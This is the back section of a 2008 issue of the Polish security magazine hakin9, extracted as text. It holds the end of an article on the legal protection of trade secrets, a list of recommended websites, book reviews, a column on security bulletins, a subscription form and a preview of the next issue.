jednostkach odpowiedzialność 
spoczywa na ich kierownikach. 
Czas przechowywania akt jest 
zróżnicowany, np. akta osobowe i 
płacowe oraz dokumentację składek 
ubezpieczeniowych do celów 
emerytalnych i rentowych przechowuje 
się przez 50 lat (kategoria B50), dowody 

księgowe przez 5 lat (kategoria B5
– zgodnie z ustawą o rachunkowości, 
kopie deklaracji rozliczeniowych, 
imiennych raportów miesięcznych i 
dokumentów korygujących składanych 
do ZUS przez 10 lat (kategoria B10
– zgodnie z ustawą o systemie 
ubezpieczeń społecznych. Czas 
przechowywania dokumentacji 
niearchiwalnej nieokreślony w 
przepisach prawnych ustala się na 
podstawie własnej oceny przydatności 
praktycznej, biorąc pod uwagę potrzeby 
teraźniejsze i przyszłe przedsiębiorstwa.

Aby zapewnić bezpieczeństwo 

dokumentów, oprócz zgodności z 
przepisami prawa należy zapewnić 
prawidłową rejestrację dokumentów 
wpływających do firmy – również tych, 
które wpłynęły drogą elektroniczną 
(wcześniej należy je wydrukować) 
i nadzorować ich obieg. Najlepiej, 
aby obieg dokumentów odbywał 
się za pokwitowaniem odbioru. Dla 
dokumentów zawierających tajemnicę 
przedsiębiorstwa należy opracować 
procedury związane z powielaniem i 
kopiowaniem dokumentów, procedury 
przechowywania i archiwizacji oraz 
procedury wynoszenia dokumentów poza 
teren firmy, a wreszcie zapewnić ochronę 
fizyczną pomieszczeń z dokumentacją. 

Rysunek 3. 

Model PDCA stosowany w procesach SZBI

���������������

�������������

���������������

�������������

���������������

������������������

���������������

���������������

����������������

������

������

������������

���������

�������

�������

�����������������

�������

������

���������������

�������������

�����������������

�����������������

������������������

�����������������

����������������

���������������

�����������������

background image

BEZPIECZNA FIRMA

74

 

HAKIN9 4/2008

Bezpieczeństwo 

przemysłowe

Na koniec warto wspomnieć jeszcze 
o bezpieczeństwie przemysłowym. 
Problem bezpieczeństwa 
przemysłowego dotyczy tylko tych 
przedsiębiorców, którzy ubiegają się o 
realizację umów lub zadań związanych 
z dostępem do informacji niejawnych 
stanowiących tajemnicę państwową 
(informacje niejawne oznaczone 
klauzulą tajne lub ściśle tajne). 
Wykonawca umowy lub zadania musi 
posiadać świadectwo bezpieczeństwa 
przemysłowego. 
Służby ochrony państwa wydają ww. 
świadectwo po przeprowadzeniu 
procedury postępowania 
bezpieczeństwa przemysłowego. 
W zależności od stopnia zdolności 
do ochrony informacji niejawnych, 
przedsiębiorcy mogą uzyskać 
świadectwo bezpieczeństwa 
przemysłowego I, II lub III stopnia. Ale to 
temat na odrębny artykuł. 

Odpowiedzialność 

za naruszenie tajemnicy

Naruszenie tajemnicy przedsiębiorstwa 
stanowi czyn nieuczciwej konkurencji. 
Zgodnie z zapisami art. 11 ust. 1 ustawy 
o zwalczaniu nieuczciwej konkurencji

czynem nieuczciwej konkurencji jest 
przekazanie, ujawnienie lub wykorzystanie 
cudzych informacji stanowiących 
tajemnicę przedsiębiorstwa albo ich 
nabycie od osoby nieuprawnionej, 
jeżeli zagraża to lub naraża interes 
przedsiębiorcy.

Odpowiedzialność cywilna

W razie dokonania czynu nieuczciwej 
konkurencji, przedsiębiorca, którego 
interes zastał zagrożony lub naruszony, 
może żądać m. in.: zaniechania 
niedozwolonych działań lub usunięcia 
ich skutków, złożenia oświadczenia 
o odpowiedniej formie i treści, 
naprawienia wyrządzonej szkody, 
wydania bezpodstawnie uzyskanych 
korzyści i zasądzenia odpowiedniej 
sumy pieniężnej na określony cel 
społeczny – jeżeli czyn nieuczciwej 
konkurencji był zawiniony. Roszczenia z 
tytułu nieuczciwej konkurencji ulegają 
przedawnieniu z upływem trzech lat. 

Odpowiedzialność karna

Odpowiedzialność karną za naruszenie 
tajemnicy przedsiębiorstwa określa art. 
23 ustawy o zwalczaniu nieuczciwej 
konkurencj
i. Osoba, która wbrew 
ciążącemu na niej obowiązkowi 
ujawnia lub wykorzystuje we własnej 
działalności informacje stanowiące 
tajemnicę przedsiębiorstwa w przypadku, 
gdy wyrządza to poważną szkodę 
przedsiębiorcy, podlega grzywnie, karze 
ograniczenia wolności albo pozbawienia 
wolności do lat 2. Tej samej karze podlega 
ten, kto uzyskawszy bezprawnie informację 
stanowiącą tajemnicę przedsiębiorstwa, 
ujawnia ją lub wykorzystuje we własnej 
działalności gospodarczej. 

Również w kodeksie karnym w rozdziale 

XXXIII – Przestępstwa przeciwko ochronie 
informacji
, znajdziemy zapisy dotyczące 
odpowiedzialności za ujawnienie lub 
wykorzystanie informacji. Art. 266 § 1 
stanowi: Kto, wbrew przepisom ustawy 
lub przyjętemu na siebie zobowiązaniu, 
ujawnia lub wykorzystuje informację, z którą 
zapoznał się w związku z pełniona funkcją, 
wykonywaną pracą, działalnością publiczną, 
społeczną, gospodarczą lub naukową, 
podlega grzywnie, karze ograniczenia 
wolności albo pozbawienia wolności do lat 
2
. Ściganie ww. przestępstw następuje na 
wniosek pokrzywdzonego. 

Odpowiedzialność 

dyscyplinarna

Zgodnie z art. 100 § 2 ust. 4 i 5 kodeksu 
pracy, pracownik jest obowiązany w 
szczególności zachować w tajemnicy 
informacje, których ujawnienie mogłoby 
narazić pracodawcę na szkodę oraz 
przestrzegać tajemnicy określonej w 
odrębnych przepisach
. Należy zdać sobie 
sprawę z tego, że nieprzestrzeganie 
przez pracownika ww. zobowiązań 
stanowi ciężkie naruszenie obowiązków 
pracowniczych niezależnie od tego, czy 
dotyczy to tajemnicy przedsiębiorstwa, 
czy innych informacji. Zgodnie z art. 52 § 
1 pracodawca może w takim przypadku 
rozwiązać umowę o pracę z winy 
pracownika. Warto o tym pamiętać.

Podsumowanie

Przepisy prawa nie określają metod i 
sposobów ochrony informacji biznesowych 
stanowiących tajemnicę przedsiębiorstwa, 

tak jak ma to miejsce w przypadku 
danych osobowych czy informacji 
niejawnych, dla których to informacji 
ustawodawca szczegółowo – w przepisach 
wykonawczych – określił ich zasady 
ochrony. W przypadku instytucji tajemnicy 
przedsiębiorstwa ustawodawca pozostawił 
przedsiębiorcom i przedsiębiorstwom 
wolną rękę co do sposobu zabezpieczenia 
tych informacji. 

W praktyce firmy najczęściej 

adaptują rozwiązania wynikające z 
rozporządzeń wykonawczych do ww. 
ustaw oraz stosują polskie normy 
dotyczące bezpieczeństwa informacji, 
które stanowią źródło tzw. dobrych praktyk, 
a w szczególności PN-ISO/IEC 17799: 
2007 Technika informatyczna – Techniki 
bezpieczeństwa – Praktyczne zasady 
zarządzania bezpieczeństwem informacji
 
PN-ISO/IEC 27001: 2007 Technika 
informatyczna – Techniki bezpieczeństwa 
– Systemy zarządzania bezpieczeństwem 
informacji – Wymagania
, w których 
to znajdziemy cenne zalecenia 
dotyczące bezpieczeństwa osobowego, 
bezpieczeństwa fizycznego i 
środowiskowego, bezpieczeństwa 
dokumentów, nośników informacji i 
bezpieczeństwa teleinformatycznego. 

Krótko mówiąc, do ochrony informacji 

biznesowych potrzebny jest system 
zarządzania bezpieczeństwem informacji, 
opracowanie planu bezpieczeństwa, 
wdrożenie go w życie i ciągłe 
doskonalenie. Na nic zdają się działania 
doraźne, które usuwają jedynie skutki 
niepożądanych działań lub zachowań, a 
nie dotykają przyczyn zjawisk związanych z 
wyciekaniem informacji z przedsiębiorstw. 
Bezpieczeństwo informacji to proces, a 
nie jednorazowy akt. W 80 procentach 
to proces zarządczy, a w 20 procentach 
– technologia, która wspiera zarządzanie. 
Poddaję to pod rozwagę zarządzającym.

Reasumując, aby zapewnić 

bezpieczeństwo informacji biznesowych, 
potrzeba trochę wiedzy, trochę procedur, 
trochę dobrej woli i trochę pieniędzy. 

Andrzej Guzik 

Audytor systemów zarządzania jakością i zarządzania 

bezpieczeństwem informacji, specjalista w zakresie 

ochrony informacji prawnie chronionych, redaktor portalu 

www.ochronainformacji.pl.

Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

Strony rekomendowane

Misją  serwisu  jest  zaprezentowanie  języ-

ków  programowania  oraz  ułatwienie  użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona  firmy  świadczącej  profesjonalne 

usługii IT, specjalizującej się w wypożycza-

niu  serwerów  i  macierzy.  Firma  prowadzi 

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal  poświęcony  technikom  programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych, 

nie  należy  ich  wykorzystywać  w  niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal  internetowy  poświęcony  w  całości 

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom 

i rozrywce oraz najnowszym aplikacjom. 

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.  

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką  bezpieczeństwa,  audytem,  IT  Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna  poświęcona  w  całości  tematy-

ce hakingu. Początkujący w tej dziedzinie 

znajdą  na  niej  działy,  ktore  im  umożliwią 

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją  serwisu  jest  dostarczenie  dużej  ilo-

ści  informacji  z  zakresu  informatyki.  Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek 

jak i kursy tworzenia portali www. 

http://www.swww.pl/

Serwis  poświęcony  branży  IT  oferujący 

codzienne  newsy,  artykuły,  recenzje  ma-

gazynów, testy oraz forum dyskusyjne.  

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera. 

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej  się  w  nowoczesnych  rozwią-

zaniach  informatycznych,  zaczynając  od 

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania 

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji 

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

76

 

KSIĄŻKI

HAKIN9 4/2008

Hacking zdemaskowany 

– Bezpieczeństwo sieci – sekrety i rozwiązania

Przeczytałem tą książkę bardzo 
dokładnie z klawiaturą w ręku, żeby od 
razu ściągać, kompilować, próbować 

tego o czym autorzy piszą.

Moje wrażenia są wielowymiarowe, a 

każdy wymiar zależy od punktu widzenia. Jako 
administrator sieci komputerowych dowiedziałem 
się kilku nowych rzeczy. Przekonałem się również, 
że żadna sieć, która w jakikolwiek sposób jest 
dostępna z lub ma dostęp do internetu nie 
jest bezpieczna. Jednakże mając prawie 12 
lat doświadczenia w zawodzie administratora 
systemów i sieci muszę przyznać, że niewiele 
mnie zaskoczyło w tej ksiażce. Głównie z tego 
powodu, że najprawdopodobniej część jej 
rozdziałów pochodzi jeszcze z lat jej pierwszego 
wydania tj 2001 roku. Trzeba też nadmienić, że 
piąte wydanie ukazało się w 2005 roku, a my 
mamy już 2008. Na polu informatyzacji to bardzo 
wiele czasu.

Z punktu widzenia osoby, która poświęca czas 

i środki na udowodnienie, że bezpieczne nie jest 
wcale bezpieczne materiał zawarty w tej książce 

jest mało ciekawy może poza teorią hakowania 
kodu oraz wykorzystywania google do celów 
łamania lub obchodzenia zabezpieczeń. Te dwa 
względnie nowe nurty metod ataku pokazują 
jak pomysłowi są cyberprzestępcy oraz jak 
przeszukiwarki mogą stać się katastrofą firmy jeśli 
nie zadba sie należycie o politykę udostępniania 
wiadomości.

Pozostaje jeszcze punkt widzenia laika. 

Tutaj byłbym zachwycony. Strony z gotowymi 
narzędziami, skrypty, porady, przepisy krok po 
kroku. Prawie jak scripkiddie. Tutaj jednak również 
książka nie jest niestety wolna od wad – co przy 
piątym wydaniu jest dla mnie zdecydowanym 
minusem. Mianowicie spora część linków to 'Page 
404'. Autorzy lub korektorzy mogliby następne 
wydanie zaktualizować także pod tym kątem.

Komu poleciłbym tę książkę? Najszybciej 

administratorom sieci, którzy ufają że ich serwer 
jest nie do zdobycia, a sieć jest bezwzględnie 
szczelna. Poleciłbym tą książkę również osobom 
odpowiedzialnym za bezpieczeństwo firm – jako 
ciekawostkę do poduszki.

Microsoft Windows 

SharePoint Services 3.0 od środka

Na 414 stronach książki Ted Pattison 
oraz Daniel Larson wprowadzają nas 
w tajniki Microsoft Windows SharePoint 

Services 3.0. Autorzy zakładają jednak, że czytelnik 
ma już podstawowe informacje o platformie 
.NET i technologiach Microsoft ASP.NET oraz 
AJAX. Autorzy mimo to przypominają czytelnikowi 
kilka podstawowych pojęć z tego zakresu w 
rozdziale wstępnym. Należy jednak pamiętać, że 
mimo braku znajomości omawianych w książce 
technologii Microsoftu, da się ją zrozumieć 
(o ile mieliśmy wcześniej do czynienia z 
programowaniem).

Książka podzielona jest na 10 logicznie 

ułożonych rozdziałów. Pierwszy z nich ma 
charakter wprowadzenia. Są tutaj omówione 
podstawowe kwestie, pomagające zrozumieć 
czytelnikowi pozostałą część książki. Jeżeli jednak 
zdarzy się tak, że tę bazową wiedzę nabyliśmy 
już wcześniej, rozdział ten możemy spokojnie 
pominąć, bo... najciekawsze jest dopiero przed 
nami. W drugim z kolei rozdziale poznamy 
architekturę tytułowej aplikacji – SharePoint. W tej 

właśnie części książki dokładnie wyjaśniony jest 
sposób działania narzędzia.

Kolejne rozdziały opisują tworzenie stron 

i projektów, składniki Web Part, składniki Web 
Part AJAX, listy i typy zawartości, biblioteki 
dokumentów, a także przepływy pracy SharePoint 
(najdłuższy rozdział w całej książce), instalację 
oraz zabezpieczenia aplikacji. Warto zwrócić 
uwagę właśnie na rozdział traktujący o przepływie 
pracy SharePoint, gdyż zawiera on wiele 
istotnych informacji, które przydadzą się podczas 
implementowania własnych projektów. Nie mniej 
znaczącym rozdziałem jest ten o bezpieczeństwie. 
Również tutaj autorzy dokładnie opisują, jak i przed 
czym chronić nasze aplikacje. W tym miejscu 
należy zwrócić szczególną uwagę na to, co 
czytamy, gdyż nadal wiele serwisów internetowych 
jest słabo zabezpieczonych.

Po przeczytaniu książki możemy świeżo 

nabytą wiedzę wykorzystać do tworzenia 
internetowych aplikacji z użyciem elementów Web 
Part oraz API Windows SharePoint.

Autorzy: Steve McClure, Joel 

Scambray, Georg Kurtz

Wydawca: PWN

Rok wydania w Polsce: 2006

Liczba stron: 700

Recenzent: Daniel Zimnicki

Autorzy: Ted Pattison, Daniel 

Larson

Wydawca: Promise

Rok wydania w Polsce: 2007

Liczba stron: 430

Recenzent: Roger Zacharczyk

background image
background image

FELIETON

78

 

HAKIN9 4/2008

Dla kogo biuletyn 

bezpieczeństwa?

postrzegana w społeczności 
(połączonej np. za pomocą Internetu) 
jako jeden system o założonym 

działaniu. I tak, użytkownikiem 
indywidualnym jest każda osoba, 
posiadająca własny komputer 
osobisty oraz system, który wymaga 
stałej kontroli poziomu wierzytelności 
posiadanych zabezpieczeń, ze względu 
na rolę jaką pełni w społeczności. 
Aktualnie każdy użytkownik Internetu 
jest zobowiązany do posiadania 
pewnego poziomu zabezpieczeń, nie 
tylko ze względu na bezpieczeństwo 
swoje, ale także na fakt, iż jego 
niesubordynacja w tym względzie może 
zagrażać innym użytkownikom Sieci. 
Np. SPAM wysyłany z jego komputera 
powoduje obciążenie jego łącza, ale 
także powoduje dyskomfort wielu 
użytkowników odbierających pocztę, co 
prędzej czy później będzie miało swoje 
konsekwencje. 

Użytkownikiem korporatywnym 

jest pewna zbiorowość złożona z 

O

sobę lub inny podmiot, który 
wykorzystuje informacje 
(posiada zdolność ich 

poprawnej interpretacji) zawarte w 
biuletynie, nazywamy użytkownikiem 
końcowym (według art. 2 pkt. 50 
ustawy z dnia 16 lipca 2004 r. prawa 
telekomunikacyjnego użytkownikiem 
końcowym można także nazwać 
podmiot korzystający z publicznie 
dostępnej usługi telekomunikacyjnej). 
Jednak ze względu na fakt 
udostępniania informacji, użytkownikiem 
końcowym w kontekście bezpieczeństwa 
jest każda osoba, która żąda uzyskania 
informacji dla zaspokojenia własnych 
potrzeb identyfikacji zagrożenia poziomu 
zabezpieczeń. 

Zatem ostatecznym odbiorcą 

biuletynów bezpieczeństwa jest 
zawsze konkretny użytkownik lub 
grupa użytkowników. To, w jaki sposób 
określimy końcowego odbiorcę, zależy 
od zakresu, w jakim informacje o 
podatności oprogramowania zostały 
wykorzystane oraz w jakim stopniu 
stały się one użyteczne. Może to 
być użytkownik indywidualny lub 
korporatywny. 

Indywidualnym użytkownikiem jest 

jednostka o zdefiniowanych sposobach 
użytkowania systemu informatycznego, 

Ostatecznym etapem każdego procesu wykrywania luki w oprogramowaniu (stanu 

systemu komputerowego, który umożliwia zdobycie dostępu do danych z naruszeniem 

określonych ograniczeń dostępu do tych danych) jest wykorzystanie uzyskanych 

informacji w celu opublikowania biuletynu bezpieczeństwa. 

Użytkownikiem 

korporatywnym jest 

pewna zbiorowość 

złożona z użytkowników 

indywidualnych, których 

potrzeby posiadania 

informacji na temat 

stanu bezpieczeństwa 

są sumą logiczną 

potrzeb każdego 

z użytkowników 

indywidualnych 

wchodzących w skład tej 

zbiorowości.

Patryk Krawaczyński jest studentem trzeciego roku Informacji 
Naukowej na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych 
chwilach stara się prowadzić serwis na temat administracji oraz 
podstawowych mechanizmów bezpieczeństwa systemu operacyjnego 
Linux – 
www.nfsec.pl. Jego zainteresowania wiążą się także z ogólnymi 
zjawiskami zachodzącymi w społeczeństwie, na które oddziałuje 
Technologia Informacyjna. 
Kontakt z autorem: 
agresor@nfsec.pl

background image

FELIETON

78

 

HAKIN9 4/2008

użytkowników indywidualnych, których 
potrzeby posiadania informacji na 
temat stanu bezpieczeństwa są 
sumą logiczną potrzeb każdego 
z użytkowników indywidualnych 
wchodzących w skład tej zbiorowości. 
Dlatego biuletyn bezpieczeństwa 
przeznaczony dla takiej zbiorowości 
musi uwzględniać różne potrzeby 
każdego z użytkowników 
indywidualnych. Przekazanie informacji 
na temat luki w systemie użytkownikowi 
korporatywnemu jest przekazaniem 
tej samej informacji wszystkim 
indywidualnym użytkownikom do niego 
należącym. 

Niebezpieczeństwo związane z 

przekazywaniem wrażliwych informacji 
tej zbiorowości polega na tym, iż przy 
założeniu, że każdy z użytkowników 
indywidualnych korzysta z tego 
samego rodzaju systemu czy platformy 
sprzętowej, informacje mogą zostać 
wykorzystane przez jednostkę, która 
otrzymaną informację zinterpretuje jako 
pierwsza, posiadającą dostatecznie 

dużo czasu do przeprowadzenia 
ataków na pozostałych użytkowników 
indywidualnych.

Przykładami użytkowników 

korporatywnych są przedsiębiorstwa, 
urzędy administracji publicznej, 
organizacje i instytucje posiadające 
wiele komórek organizacyjnych i wielu 
użytkowników końcowych. Tak więc 
biuletyn bezpieczeństwa przeznaczony 
dla zbiorowości powinien znać jej 
wewnętrzną strukturę oraz obieg 
informacji pomiędzy poszczególnymi 
użytkownikami indywidualnymi.

Przy założeniu, że jednym wielkim 

użytkownikiem korporatywnym jest 
Internet, potrzeby wypuszczania 
informacji na temat jego 
bezpieczeństwa są zaspokojeniem 
potrzeb każdego z użytkowników 
stanowiących jego część składową. 
Dlatego nie tylko sposób ujawniania 
wrażliwej informacji jest tutaj bardzo 
ważną kwestią (patrz hakin9 nr 
4/2007 (24) Niezdrowe trendy w 
bezpieczeństwie – full disclosure
), 

ale także umiejętne definiowanie, 
która zbiorowość powinna zostać 
poinformowana najpierw (np. 
producenci oprogramowania, następnie 
eksperci ds. bezpieczeństwa, a na 
końcu pojedynczy użytkownicy) stwarza 
możliwości projektowania bardziej 
bezpiecznych i efektywnych procesów 
informowania o bezpieczeństwie. 
Firmy zajmujące się profesjonalnym 
audytem bezpieczeństwa zdają 
się o tym zapominać, działając 
między dwiema skrajnościami: albo 
traktują użytkowników końcowych 
jako zbiorowość indywiduów, albo 
postrzegają wszystkich jako jednego 
użytkownika korporatywnego, 
którego potrzeby określone są na 
podstawie wymagań nie zawsze 
dobrze interpretujących informacje 
użytkowników. 

Należy pamiętać, iż od sposobu, w 

jaki zostanie zinterpretowany biuletyn 
bezpieczeństwa, zależy to, czy zostanie 
on wykorzystany w jakikolwiek inny 
sposób niż być powinien.

R

E

K

L

A

M

A

background image

v

Kontakt 

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

      

tylko

219

 

hakin9 – jak się obronić to ukazujący się w dwudziestu 
czterech krajach Europy magazyn o bezpieczeństwie. 
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która 
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy 
administrator. 

,-

background image

v

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer: 
00 48 22 244 24 59
lub listownie na adres: 
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową, 
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.

Prenumerujesz 

– zyskujesz

l

 

oszczędność

     pieniędzy 

l

 

szybka dostawa 

l

 

prezenty

l

 

bezpieczna płatność 

     ność on–line

Tytuł

Ilość

nume-

rów

Ilość

 zama-

wianych 

prenume-

rat

Od 

numeru 

pisma 

lub mie-

siąca

Cena

hakin9, jak się obronić 

(1 płyta CD)

Miesięcznik o 

bezpieczeństwie

i hakingu 

11

199*/

219

PLN

□  automatyczne przedłużenie prenumeraty

*  cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image

82

 

HAKIN9 1/2008

ZA MIESIĄC

W następnym numerze między innymi:

Numer będzie w sprzedaży

na początku maja 2008

Aktualne informacje o najbliższym numerze 

znajdziesz na naszej stronie www.hakin9.org/pl.

NA CD

Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live(h9l) 
w wersji 4.0.3 on BackTrack2.0, zawierająca przydatne narzędzia, 
dokumentację, tutoriale i materiały dodatkowe do artykułów

hakin9.live – bootowalna dystrybucja Linuksa,

mnóstwo narzędzi – niezbędnik hakera,

tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,

dodatkowa dokumentacja,

pełne wersje komercyjnych aplikacji.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

OBRONA

PRZEPEŁNIENIE BUFORA I POKREWNE 
- JAK ZAPOBIEGAĆ

Bezpieczeństwo oprogramowania to jeden 
z największych problemów w branżach 
zaawansowanych technologii. Przepełnienie 
bufora to błąd, wywołujący największe 
obawy, ale również błąd, którego istota 
często jest błędnie pojmowana. Czyli dobre 
praktyki programistyczne zapewniające 
podstawowe bezpieczeństwo aplikacji.

SUHOSIN: ANIOŁ STRÓŻ PHP

Bezpieczeństwo aplikacji WWW bardzo 
kuleje, a prostota tworzenia ich w języku 
PHP daje im bardzo dużą popularność. 
Problem z utrzymywaniem aplikacji 
pochodzących z trzeciej ręki rośnie; 
nie każda firma przeprowadza testy 
bezpieczeństwa swoich produktów, a i one 
nie zawsze są skuteczne w 100%.

PEACH 2.0 – ZAAWANSOWANY 
FUZZING

Testowanie aplikacji pod kątem 
ewentualnych luk na pewno nie jest 
czynnością łatwą. W celu zwiększenia 
komfortu pracy i szybkości wykonywanych 
działań warto posłużyć się odpowiednim i 
profesjonalnymi narzędziem, Peach 2.0.

WSPÓCZESNE ROZWIZANIA 
WIELOSILNIKOWE

Zagadnienia zwizane z bezpieczestwem 
systemów komputerowych w 
przedsibiorstwach nabray w cigu ostatnich 
lat ogromnego znaczenia. Powodem 
zaistniaej sytuacji sta si wzrost iloci rónych 
typów zoliwego oprogramowania oraz 
metod rozpowszechniania go w sieci 
Internet.

ATAK

HAKOWANIE APPLE 

Apple od dawna jest producentem 
oprogramowania do odtwarzania 

multimediów. Jego produkty takie 
jak QuickTime czy iTunes zyskały 
sobie ogromną popularność wśród 
użytkowników, szczególnie, gdy 
posiadali oni inny produkt Apple 
– iPod'a. Jednak bezpieczeństwo 
użytkowników oprogramowania Apple 
zostało nadszarpnięte – odkryto lukę, 
która pozwala na przejęcie kontroli 
nad komputerem ofiary – użytkownika 
programu QuickTime

BEZPIECZNE PROGRAMOWANIE 
SERWERÓW SIECIOWYCH  

System oprogramowania trapdoor2 
jest przykładem napisania technik 
programistycznych jako ochrony przed 
atakami przy uzyciu języka C.

background image
background image